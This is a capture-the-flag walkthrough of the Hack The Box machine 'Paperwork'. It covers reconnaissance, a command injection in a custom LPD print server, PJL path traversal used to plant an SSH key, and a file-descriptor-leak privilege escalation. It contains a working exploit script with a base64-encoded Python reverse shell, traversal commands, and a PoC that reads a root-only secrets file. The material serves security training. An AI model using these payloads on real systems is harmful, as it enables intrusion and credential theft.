Hack The Box Machine Season 11 - Paperwork - Easy - Linux
Difficulty: Easy - Linux
Start scanning 1000 prominent ports with default setting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(nhannha㉿conmeo)-[~]
└─$ sudo nmap 10.129.21.196 -A -T4
[sudo] password for nhannha:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-11 01:07 EDT
Nmap scan report for 10.129.21.196
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Ubuntu 5ubuntu5.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.28.0 (Ubuntu)
|_http-server-header: nginx/1.28.0 (Ubuntu)
|_http-title: Did not follow redirect to http://paperwork.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 454.39 ms 10.10.16.1
2 207.16 ms 10.129.21.196
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.17 seconds
┌──(nhannha㉿conmeo)-[~]
└─$
Adding the domain to /etc/hosts and access the web.
Check the source code and identified that the server running LPD service at port 1515
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import socket
import threading
import subprocess
import subprocess
VALID_QUEUE = os.environ.get("LPD_QUEUE")
class LpdHandler(threading.Thread):
def __init__(self, sock, addr):
super().__init__()
self.sock = sock
self.addr = addr
self.id = f"[lpd-{addr[1]}]"
def run(self):
try:
data = self.sock.recv(1024)
if not data: return
command = data[0]
if command == 2:
self.handle_print_job(data)
elif command in (3, 4):
self.sock.send(b"Archive_Printer is ready and printing.\n")
except Exception as e:
print(f"{self.id} Error: {e}")
finally:
self.sock.close()
def handle_print_job(self, data):
queue = data[1:].decode().strip()
if queue not in VALID_QUEUE:
print(f"{self.id} Rejected: Invalid queue '{queue}'")
self.sock.send(b'\x01')
return
print(f"{self.id} Accepted job for queue: {queue}")
while True:
chunk = self.sock.recv(1024)
if not chunk: break
subcommand = chunk[0]
self.sock.send(b'\x00')
parts = chunk[1:].decode(errors='ignore').split()
if not parts: continue
size = int(parts[0])
content = b""
while len(content) < size:
content += self.sock.recv(size - len(content) + 1)
decoded_content = content.decode(errors='ignore')
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
print(f"{self.id} Executing archive for: {job_name}")
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
self.sock.send(b'\x00')
self.sock.send(b'\x00')
while self.sock.recv(4096):
pass
break
class LpdServer:
def __init__(self, ip='0.0.0.0', port=1515):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind((ip, port))
self.server.listen(100)
print(f"[*] LPD Server listening on {port}")
def run(self):
while True:
sock, addr = self.server.accept()
LpdHandler(sock, addr).start()
if __name__ == "__main__":
LpdServer(port=1515).run()
Using nmap to scan port 1515 to confirm port opened.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Paperwork]
└─$ sudo nmap 10.129.21.196 -A -T4 -p 1515
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-11 01:17 EDT
Nmap scan report for paperwork.htb (10.129.21.196)
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
1515/tcp open ifor-protocol?
| fingerprint-strings:
| TerminalServer, TerminalServerCookie:
|_ Archive_Printer is ready and printing.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1515-TCP:V=7.95%I=7%D=8/11%Time=6A7AB094%P=x86_64-pc-linux-gnu%r(Te
SF:rminalServerCookie,27,"Archive_Printer\x20is\x20ready\x20and\x20printin
SF:g\.\n")%r(TerminalServer,27,"Archive_Printer\x20is\x20ready\x20and\x20p
SF:rinting\.\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
TRACEROUTE (using port 1515/tcp)
HOP RTT ADDRESS
1 399.91 ms 10.10.16.1
2 202.95 ms paperwork.htb (10.129.21.196)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Check for server logic, found a command injection vulnerability Here is the English version.
OS Command Injection Vulnerability in LPD Server
1. Overview
The LPD server processes print jobs submitted by clients over TCP.
While parsing the control file, the server reads the J field to obtain the print job name.
1
2
3
4
5
6
7
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
The job_name value comes directly from client-controlled input.
The server does not validate, sanitize, or escape this value before using it.
The value is later inserted directly into a shell command:
1
2
3
4
subprocess.Popen(
f"echo 'Archive: {job_name}' >> /tmp/archive.log",
shell=True
)
2. Vulnerability Type
The vulnerability is classified as:
OS Command Injection
The main cause is the use of untrusted input inside a shell command.
The following option is particularly dangerous:
1
shell=True
With shell=True, Python passes the generated command string to the operating system shell.
As a result, shell metacharacters contained in job_name may be interpreted as part of the command rather than ordinary data.
3. Untrusted Data Source
The control file is received directly from the network:
1
content += self.sock.recv(size - len(content) + 1)
The received data is then decoded:
1
decoded_content = content.decode(errors='ignore')
The server extracts the J field:
1
2
if line.startswith('J'):
job_name = line[1:]
Therefore, the data flow is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Client
|
v
TCP Socket
|
v
LPD Control File
|
v
J Field
|
v
job_name
|
v
subprocess.Popen(..., shell=True)
There is no validation or sanitization between the network input and the command execution sink.
4. Vulnerable Code
The vulnerable section is:
1
2
3
4
5
6
7
8
9
10
11
12
13
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
subprocess.Popen(
f"echo 'Archive: {job_name}' >> /tmp/archive.log",
shell=True
)
This follows a typical command injection pattern:
1
2
3
4
5
6
user_input = network_data
subprocess.Popen(
f"command {user_input}",
shell=True
)
5. Impact
An attacker who can control the J field may alter the structure of the shell command.
This may result in execution of unintended operating system commands.
Any injected commands would execute with the privileges of the user running the LPD server process.
Therefore, the severity of the vulnerability depends on the privileges assigned to the service account.
6. Root Cause
The root cause is not the LPD protocol itself.
The vulnerability is caused by combining attacker-controlled input:
1
job_name = attacker_controlled_input
with direct command-string interpolation:
1
f"echo 'Archive: {job_name}' ..."
and shell execution:
1
shell=True
7. Exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import *
import time
import base64
HOST = "10.129.18.xx"
PORT = 1515
LHOST = "10.10.17.xx"
LPORT = 4444
def send_stage(r, data, label, wait=0.3):
r.send(data)
time.sleep(wait)
resp = r.recv(numb=1024, timeout=1)
log.info(f"[{label}] sent {len(data)}B -> resp: {resp}")
return resp
def main():
r = remote(HOST, PORT)
resp1 = send_stage(r, b"\x02\n", "QUEUE_SELECT")
if resp1 != b"\x00":
log.failure("Queue không được chấp nhận")
return
# python3 reverse shell, dùng single quote bao ngoài -> tránh nested double quote
py_payload = (
f"import socket,subprocess,os;"
f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
f"s.connect(('{LHOST}',{LPORT}));"
f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
f"subprocess.call(['/bin/sh','-i'])"
)
b64 = base64.b64encode(py_payload.encode()).decode()
job = f"x'; echo {b64} | base64 -d | python3 - ; echo '"
content = f"Hkali\nPctf\nJ{job}\nldfA001kali\n".encode()
header = b"\x02" + f"{len(content)} cfA001kali\n".encode()
send_stage(r, header, "HEADER")
send_stage(r, content + b"\x00", "CONTROL_FILE")
r.close()
if __name__ == "__main__":
main()
Run the exploit to gain reverse shell
1
2
3
4
5
6
7
8
9
10
11
┌──(myenv)─(nhannha㉿conmeo)-[~/htbMachine/season-11/Paperwork]
└─$ python3 scriptTEst.py
[+] Opening connection to 10.129.21.196 on port 1515: Done
[*] [QUEUE_SELECT] sent 2B -> resp: b'\x00'
[*] [HEADER] sent 16B -> resp: b'\x00'
[*] [CONTROL_FILE] sent 348B -> resp: b'\x00'
[*] Closed connection to 10.129.21.196 port 1515
┌──(myenv)─(nhannha㉿conmeo)-[~/htbMachine/season-11/Paperwork]
└─$
1
2
3
4
5
6
7
8
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Paperwork]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.79] from (UNKNOWN) [10.129.21.196] 34056
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=7(lp) gid=7(lp) groups=7(lp)
$
Get interactive shell
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
lp@paperwork:/opt/LPDServer$ ^Z
zsh: suspended nc -lvnp 4444
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Paperwork]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 4444
lp@paperwork:/opt/LPDServer$
lp@paperwork:/opt/LPDServer$ export TERM=xterm-256color
lp@paperwork:/opt/LPDServer$ export SHELL=/bin/zsh
lp@paperwork:/opt/LPDServer$ stty rows 50 columns 104
lp@paperwork:/opt/LPDServer$
Checking for valid user and their process, found that archivist /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
359 14:40 996 root /usr/bin/vmtoolsd
359 14:40 995 root /usr/bin/VGAuthService
359 14:40 994 root /usr/lib/systemd/systemd-logind
359 14:40 992 root /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
359 14:40 991 lp /usr/bin/python3 /opt/LPDServer/server.py
359 14:40 989 archivist /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log
359 14:40 1516 root /sbin/agetty -o -- \u --noreset --noclear - linux
359 14:40 1511 www-data nginx: worker process
359 14:40 1510 www-data nginx: worker process
359 14:40 1509 root nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
359 14:40 1501 root /usr/bin/python3 /usr/bin/paperwork-daemon
359 14:40 1126 _chrony /usr/sbin/chronyd -n -F 1
359 14:40 1079 _chrony /usr/sbin/chronyd -n -F 1
359 14:39 982 root dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
359 14:39 978 messagebus @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
359 14:39 976 root /usr/sbin/cron -f -P
359 14:39 974 root /usr/bin/python3 /root/staging/CorpoSite/app.py
359 14:39 968 root /bin/sh /usr/lib/systemd/scripts/chronyd-starter.sh -n -F 1
359 14:39 748 _laurel /usr/local/sbin/laurel --config /etc/laurel/config.toml
359 14:39 746 root /usr/sbin/auditd
359 14:39 655 root /usr/lib/systemd/systemd-udevd
359 14:39 645 systemd-resolve /usr/lib/systemd/systemd-resolved
359 14:39 599 root /usr/lib/systemd/systemd-journald
359 14:39 1 root /usr/lib/systemd/systemd --switched-root --system --deserialize=47
Connect to service and check for LFI vulnerability. Available to read jetdirect.py. Confirm LFI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
lp@paperwork:/opt/LPDServer$ printf '\033%%-12345X@PJL\r\n@PJL FSQUERY NAME="../"\r\n\033%%-12345X' \
> | socat - TCP:127.0.0.1:9100
OK
. TYPE=DIR
.. TYPE=DIR
.cache TYPE=DIR SIZE=4096
.bashrc TYPE=FILE SIZE=3771
.local TYPE=DIR SIZE=4096
.ssh TYPE=DIR SIZE=4096
.profile TYPE=FILE SIZE=807
.lesshst TYPE=FILE SIZE=20
.bash_history TYPE=FILE SIZE=0
user.txt TYPE=FILE SIZE=33
.bash_logout TYPE=FILE SIZE=220
.gnupg TYPE=DIR SIZE=4096
printer TYPE=DIR SIZE=4096
Read file jetdirect.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
lp@paperwork:/opt/LPDServer$ printf '@PJL FSUPLOAD NAME="../../../home/archivist/printer/jetdirect.py" OFFSET=0 SIZE=99999\r\n' \
> | socat - TCP:127.0.0.1:9100
@PJL FSUPLOAD NAME="../../../home/archivist/printer/jetdirect.py" SIZE=5119
#!/usr/bin/env python3
import os
import sys
import socket
import logging
import re
import hashlib
class PJLServer:
def __init__(self):
self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def listen(self, port=9100, backlog=100):
self._server.bind(("127.0.0.1", port))
self._server.listen(backlog)
logging.info("Listening on port %d" % port)
def accept(self):
client, addr = self._server.accept()
logging.info("[%s] connected" % addr[0])
return PJLClient(client, addr[0])
class PJLClient:
def __init__(self, client, address):
self._client = client
self._address = address
def get_line(self):
"""Reads until a newline to get a single PJL command."""
line = b""
while True:
char = self._client.recv(1)
if not char: return None
line += char
if char == b"\n": break
return line
def reply(self, message):
if isinstance(message, str):
message = message.encode("utf-8")
self._client.sendall(message)
def close(self):
self._client.close()
class Filesystem:
def __init__(self, root_dir):
self._root = os.path.abspath(root_dir)
def _translate(self, path):
clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
return os.path.normpath(os.path.join(self._root, clean))
def listdir(self, name=""):
target = self._translate(name)
if not os.path.exists(target): return "FILEERROR=1"
try:
items = os.listdir(target)
res = [". TYPE=DIR", ".. TYPE=DIR"]
for i in items:
p = os.path.join(target, i)
res.append(f"{i} TYPE={'DIR' if os.path.isdir(p) else 'FILE'} SIZE={os.path.getsize(p)}")
return "\n".join(res)
except: return "FILEERROR=1"
def read(self, path):
target = self._translate(path)
if os.path.isfile(target):
with open(target, "rb") as f: return f.read()
return None
def write(self, path, data):
target = self._translate(path)
try:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, "wb") as f: f.write(data)
return "OK"
except: return "FILEERROR=1"
fs = None
def handle_download(command, client):
m = re.search(r'NAME\s*=\s*"([^"]+)"\s*SIZE\s*=\s*(\d+)', command, re.I)
if not m: return "FILEERROR=1"
path, size = m.group(1), int(m.group(2))
logging.info(f"Receiving file: {path} ({size} bytes)")
data = b""
while len(data) < size:
chunk = client._client.recv(min(size - len(data), 4096))
if not chunk: break
data += chunk
return fs.write(path, data)
def handle_upload(command):
m = re.search(r'NAME\s*=\s*"([^"]+)"', command, re.I)
if not m: return "FILEERROR=1"
path = m.group(1)
data = fs.read(path)
if data is None: return "FILEERROR=1"
header = f'@PJL FSUPLOAD NAME="{path}" SIZE={len(data)}\n'.encode("utf-8")
return header + data
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <PORT> <ROOT_DIR>")
sys.exit(1)
fs = Filesystem(sys.argv[2])
LOG_FILE = "/home/archivist/printer/logs/commands.log"
logging.basicConfig(
level=logging.INFO,
format="%(message)s",
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
server = PJLServer()
server.listen(int(sys.argv[1]))
while True:
client = server.accept()
while True:
line_bytes = client.get_line()
if not line_bytes: break
# Filter protocol noise
if b"@" not in line_bytes: continue
line = line_bytes[line_bytes.find(b"@"):].decode("utf-8", errors="ignore").strip()
if not line.startswith("@PJL"): continue
logging.info(f"Command: {line}")
if "FSDOWNLOAD" in line.upper():
res = handle_download(line, client)
client.reply(res + "\r\n")
elif "FSUPLOAD" in line.upper():
res = handle_upload(line)
client.reply(res)
elif "FSDIRLIST" in line.upper() or "FSQUERY" in line.upper():
m = re.search(r'NAME\s*=\s*"([^"]+)"', line, re.I)
res = fs.listdir(m.group(1) if m else "0:/")
client.reply(res + "\r\n")
elif "INFO ID" in line.upper():
client.reply("HP LASERJET 4ML\r\n")
elif "INFO FILESYS" in line.upper():
client.reply("VOLUME TOTAL SIZE FREE SPACE LOCATION LABEL STATUS\n0: 1755136 1718272 <HT> <HT> READ-WRITE\r\n")
elif "ECHO" in line.upper():
client.reply(line + "\r\n")
else:
client.reply("OK\r\n")
client.close()
lp@paperwork:/opt/LPDServer$
Create id_rsa.pub
1
2
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Emxq....
<SNIP>
Write the key to .ssh/authorized_keys.
1
2
3
4
5
6
7
8
9
10
11
lp@paperwork:/opt/LPDServer$ {
> printf '@PJL FSDOWNLOAD NAME="../.ssh/authorized_keys" SIZE=739\r\n'
> printf 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB....<SNIP>'
> } | socat - TCP:127.0.0.1:9100
OK
lp@paperwork:/opt/LPDServer$
lp@paperwork:/opt/LPDServer$ printf '@PJL FSUPLOAD NAME="../../../home/archivist/.ssh/authorized_keys" OFFSET=0 SIZE=999999\r\n' \
> | socat - TCP:127.0.0.1:9100
@PJL FSUPLOAD NAME="../../../home/archivist/.ssh/authorized_keys" SIZE=739
ssh-rsa AAAAB3NzaC1yc2EAAAAD....<SNIP>
lp@paperwork:/opt/LPDServer$
Access by SSH and gain the userflag.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(myenv)─(nhannha㉿conmeo)-[~/htbMachine/season-11/Paperwork]
└─$ ssh archivist@10.129.21.196
Last login: Thu May 28 15:22:41 UTC 2026 from 10.10.14.3 on ssh
Welcome to Ubuntu 25.10 (GNU/Linux 6.17.0-40-generic x86_64)
* Documentation: https://docs.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Last login: Tue Aug 11 06:13:48 2026 from 10.10.17.79
archivist@paperwork:~$ cat user.txt
xxxxxxxxxxx028b39e05bd73cbe9fee
archivist@paperwork:~$
Continue to check for privesc to root, using lse.sh, found a suspicious process: /run/paperwork/mgmt.sock
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
┌──(myenv)─(nhannha㉿conmeo)-[~/htbMachine/season-11/Paperwork]
└─$ cat lse_archivist.txt | grep fst000 -A 100 -n
185:[*] fst000 Writable files outside users home.............................. yes!
186----
187-/run/vmware/guestServicePipe
188-/run/ssh-unix-local/socket
189-/run/dbus/system_bus_socket
190-/run/uuidd/request
191-/run/paperwork/mgmt.sock
192-/run/user/1000
193-/run/user/1000/openssh_agent
194-/run/user/1000/gnupg
195-/run/user/1000/gnupg/S.keyboxd
196-/run/user/1000/gnupg/S.gpg-agent
197-/run/user/1000/gnupg/S.gpg-agent.ssh
198-/run/user/1000/gnupg/S.gpg-agent.extra
199-/run/user/1000/gnupg/S.gpg-agent.browser
200-/run/user/1000/gnupg/S.dirmngr
201-/run/user/1000/bus
202-/run/user/1000/systemd
203-/run/user/1000/systemd/private
204-/run/user/1000/systemd/notify
205-/run/user/1000/systemd/units
206-/run/user/1000/systemd/propagate
207-/run/user/1000/systemd/propagate/.os-release-stage
208-/run/user/1000/systemd/propagate/.os-release-stage/os-release
209-/run/screen
210-/run/lock
211-/run/systemd/io.systemd.Hostname
212-/run/systemd/resolve/io.systemd.Resolve.Monitor
213-/run/systemd/resolve/io.systemd.Resolve
214-/run/systemd/io.systemd.Credentials
215-/run/systemd/journal/stdout
216-/run/systemd/journal/socket
217-/run/systemd/journal/dev-log
218-/run/systemd/io.systemd.ManagedOOM
219-/run/systemd/userdb/io.systemd.DynamicUser
220-/run/systemd/notify
221-/var/crash
222-/var/tmp
223-/tmp
224-/tmp/tmp.sbzFS97w6s
225-/tmp/tmp.j2Cxh0cTTX
226-/tmp/lse_archivist.txt
227-/tmp/lse.sh
228-/tmp/.font-unix
229-/tmp/.XIM-unix
230-/tmp/.ICE-unix
231-/tmp/.X11-unix
232-/usr/bin/bash
233-/run/user/1000/systemd/units/invocation:ssh-agent.socket
234-/run/user/1000/systemd/units/invocation:gpg-agent.socket
235-/run/user/1000/systemd/units/invocation:gpg-agent-ssh.socket
236-/run/user/1000/systemd/units/invocation:dbus.socket
237----
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1758-[*] pro020 Processes running with root permissions......................... yes!
1759----
1760-START PID USER COMMAND
1761-14:40 996 root /usr/bin/vmtoolsd
1762-14:40 995 root /usr/bin/VGAuthService
1763-14:40 994 root /usr/lib/systemd/systemd-logind
1764-14:40 992 root /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
1765-14:40 1516 root /sbin/agetty -o -- \u --noreset --noclear - linux
1766-14:40 1509 root nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
1767:14:40 1501 root /usr/bin/python3 /usr/bin/paperwork-daemon
1768-14:39 982 root dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
1769-14:39 976 root /usr/sbin/cron -f -P
1770-14:39 974 root /usr/bin/python3 /root/staging/CorpoSite/app.py
1771-14:39 968 root /bin/sh /usr/lib/systemd/scripts/chronyd-starter.sh -n -F 1
1772-14:39 746 root /usr/sbin/auditd
1773-14:39 655 root /usr/lib/systemd/systemd-udevd
1774-14:39 599 root /usr/lib/systemd/systemd-journald
1775-14:39 1 root /usr/lib/systemd/systemd --switched-root --system --deserialize=47
Check source of daemon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
archivist@paperwork:~$ file /usr/bin/paperwork-daemon
/usr/bin/paperwork-daemon: Python script, ASCII text executable
archivist@paperwork:~$ cat /usr/bin/paperwork-daemon
#!/usr/bin/python3
import socket, os, array, hashlib
import zipfile
import shutil
try:
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
os._exit(1)
LOG_PATH = "/home/archivist/printer/logs/commands.log"
def get_admin_secret():
data = os.pread(admin_fd, 1024, 0).decode().strip()
if "ADMIN_PASSWORD=" in data:
return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
return data
def scan_for_malice():
if not os.path.exists(LOG_PATH):
return False
with open(LOG_PATH, 'r') as f:
content = f.read().upper()
if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
return True
return False
def trigger_lockdown(conn):
try:
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
zip_path = "/root/quarantine/evidence.zip"
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(LOG_PATH, arcname="commands.log")
with open(LOG_PATH, 'w') as f:
f.truncate(0)
os.close(log_fd)
except:
pass
def main():
socket_path = "/run/paperwork/mgmt.sock"
if os.path.exists(socket_path): os.remove(socket_path)
if not os.path.exists("/run/paperwork"): os.makedirs("/run/paperwork")
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(socket_path)
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)
s.listen(5)
while True:
conn, _ = s.accept()
if scan_for_malice():
trigger_lockdown(conn)
else:
secret = get_admin_secret()
token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())
conn.close()
if __name__ == "__main__":
main()
archivist@paperwork:~$
Privilege Escalation Report — paperwork-daemon Unix Socket FD Leak (archivist → root)
Target: paperwork.htb (HTB Season 11) Component: /usr/bin/paperwork-daemon (root, systemd paperwork.service) Vector: Unix domain socket /run/paperwork/mgmt.sock Class: CWE-403 (Exposure of File Descriptor to Unintended Control Sphere) via SCM_RIGHTS Severity: Critical (archivist → root file read)
Summary
paperwork-daemon runs as root and keeps an open file descriptor to a root-only credential file, /etc/paperwork/admin_pins.conf, for its entire lifetime. On each connection to its management socket, the daemon checks a log file that is owned and writable by the low-privileged user archivist for “malicious” trigger words. If found, it enters an “incident lockdown” routine that passes ancillary data (SCM_RIGHTS) containing both the log fd and the admin-secret fd to the connecting client.
Because Unix permission checks happen at open() time and not at fd-duplication time, any process receiving the passed fd can read the root-only file directly — bypassing filesystem permissions entirely.
Root Cause
1
2
3
4
5
6
7
8
9
10
11
12
13
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY) # opened once, as root, kept alive
def scan_for_malice():
# reads a file OWNED BY archivist (world-writable by them)
with open(LOG_PATH, 'r') as f:
content = f.read().upper()
return any(t in content for t in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"])
def trigger_lockdown(conn):
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
...
socket.bind() on mgmt.sock is chmod 660, chown root:archivist — connectable by archivist by design (legitimate status-check use case). The trigger condition (scan_for_malice) is keyed off content the same low-privileged user fully controls, letting them self-trigger the lockdown path and receive the leaked admin_fd.
Attack Chain
- Write a trigger string into the attacker-owned log file consumed by
scan_for_malice(). - Connect to
mgmt.sock. - Receive ancillary data via
recvmsg()withSCM_RIGHTS— daemon hands over a duplicate ofadmin_fd. pread()the fd directly to dump/etc/paperwork/admin_pins.confas root would see it, with no read permission required on the path itself.
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import socket, array, os
SOCK_PATH = "/run/paperwork/mgmt.sock"
LOG_PATH = "/home/archivist/printer/logs/commands.log"
# 1. Self-trigger the "malice" detector on attacker-owned log
with open(LOG_PATH, "w") as f:
f.write("FSQUERY\n")
# 2. Connect and receive SCM_RIGHTS ancillary data
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(SOCK_PATH)
fds = array.array("i")
fd_size = fds.itemsize
msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_LEN(2 * fd_size))
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
fds.frombytes(cmsg_data[:2 * fd_size])
log_fd, admin_fd = fds
print("[*] server msg:", msg)
print("[*] leaked fds:", list(fds))
# 3. Read the root-only file through the leaked fd
data = os.pread(admin_fd, 4096, 0)
print("[+] /etc/paperwork/admin_pins.conf ->\n", data.decode())
os.close(log_fd)
os.close(admin_fd)
s.close()
Run:
1
python3 poc_scm_rights.py
Impact
Arbitrary read of /etc/paperwork/admin_pins.conf as root, with no prior filesystem read access to the path. Recovered credentials/PINs are usable against downstream root-owned services (corposite.service, admin interfaces bound to 127.0.0.1:1337, etc.), enabling full privilege escalation.
Remediation
- Never pass
SCM_RIGHTSfor descriptors opened with elevated privileges to a socket reachable by lower-privileged principals. - If a “lockdown” evidence bundle is needed, copy file contents into a sanitized buffer/temp file with restrictive ownership instead of duplicating the live root fd.
- Do not key intrusion-detection triggers off a file the monitored/untrusted user can write to.
- Restrict
mgmt.sockto a dedicated group with no overlap with the accounts it is meant to be monitoring.
Run the exploit.py and get the password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
archivist@paperwork:~$ echo '#!/usr/bin/env python3
import socket, array, os
SOCK_PATH = "/run/paperwork/mgmt.sock"
LOG_PATH = "/home/archivist/printer/logs/commands.log"
# 1. Tự trigger "malice" detection trên file log mình sở hữu
with open(LOG_PATH, "w") as f:
f.write("FSQUERY\n")
# 2. Connect vào mgmt socket, nhận ancillary data (SCM_RIGHTS)
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(SOCK_PATH)
fds = array.array("i")
fd_size = fds.itemsize
